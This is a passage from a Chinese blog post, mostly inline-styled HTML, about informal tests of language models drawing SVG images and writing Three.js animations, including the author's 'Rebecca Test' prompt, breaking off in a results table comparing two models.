0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">演进：从静态图到“群魔乱舞”的 3D 动画</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Simon 的鹈鹕给了社区灵感。很快，在 Reddit 的 r/LocalLLaMA 板块，老哥们把难度又提升了一个维度。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">他们不再满足于一张静态图，而是开始让模型直接编写 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Three.js 代码</span></strong><span leaf="">，在 3D 世界里搞事情。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">比如，有人就提了这么个需求：</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: solid;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 1px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(150, 84, 181);border-right-color: rgb(150, 84, 181);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgb(251, 249, 253);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">Write the complete Three.js code for a scene featuring Michael Jackson, Pepe the Frog, Donald Trump, and Elon Musk performing the &#34;Thriller&#34; choreography...</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">好家伙，直接来了个“群魔乱舞”。这比画图可难多了。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">相比静态的 SVG，Three.js 代码要求模型在一个三维坐标系里进行实时计算。模型不仅要生成代码，还得理解：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><p style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">人体运动学</span></strong><span leaf="">：跳舞时，膝盖怎么弯曲？手臂怎么摆动？节奏怎么跟上？</span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><p style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">空间交互</span></strong><span leaf="">：四个人一起跳舞，怎么编排位置才不会穿模？</span></p></div></li></ul><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这已经不是简单的“画个画”了，而是在考验模型对</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">复杂实体在空间中如何动态交互</span></strong><span leaf="">的深层理解。私以为，这才是真正走向具身智能（Embodied AI）的关键一步。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">诞生：我的 Rebecca Test</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">受到这些启发，我设计了自己的测试——</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Rebecca Test</span></strong><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这个测试有两个核心特点：</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">1. 情感化、抽象化的指令：</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">我不直接告诉模型要画什么场景，而是用一个非常主观和情感化的词——“most impressive scene”（她最令人印象深刻的场景）。</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: solid;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 1px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(150, 84, 181);border-right-color: rgb(150, 84, 181);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgb(251, 249, 253);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">generate detailed SVG of Rebecca from CyberPunk: EdgeRunners, of her most impressive scene. </span><span leaf="">write [your-model-name] in the bottom-right corner of the image.</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">为什么这么做？因为《赛博朋克：边缘行者》里的 Rebecca，有好几个高光时刻。有的是她双持重火力扫射的癫狂，有的是她为同伴奋不顾身的悲壮。到底哪个“most impressive”？这没有标准答案。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这就把选择权交给了模型。我很好奇，一个没有情感的机器，会如何“理解”和“诠释”一个角色的高光时刻？它会选择战斗场面，还是某个情感爆发的瞬间？这是对模型</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">更高层语义理解能力</span></strong><span leaf="">的拷问。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">2. 对复杂 SVG 生成能力的极限压测：</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">另一方面，Rebecca 这个角色本身的设计就极其复杂——夸张的武器、赛博格改造、丰富的细节。让她作为主角，本身就是对模型</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SVG 绘制能力</span></strong><span leaf="">的一次极限挑战。SVG 是代码，不是像素画，模型需要将视觉元素精确地转化为路径、形状和颜色代码，任何一个结构错误都会在图像上暴露无遗。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">结合这两点，Rebecca Test 就像一面镜子，既能照出模型的代码生成能力，也能照出它那尚处于混沌状态的“世界模型”和“情感理解”。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">结果：惨不忍睹，但又在意料之中</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">我用这个 Prompt 测试了市面上几乎所有的主流大模型，结果嘛……只能说是“大跌眼镜”，但又在“意料之中”。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">直接看图吧，我把结果整理在了一张表里。</span></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.02em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Doubao-Seed-2.0-Code</span></strong></th><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.02em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Gemini-3-Pro-Preview</span></strong></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.3333333333333333" data-s="300,640" data-type="png" data-w="960" type="inline" data-imgfileid="100000362" src="https://wechat2rss.xlab.app/img-proxy/?k=5c120314&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G3iaRYLzEpWfwhicaWWbCTjTXmrhXept6iaTufcqmsia19exXciawT20ImojLGjsh1vl17HZf9dp830tHbbN8GM2pic8tBicKK4lYzLCw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 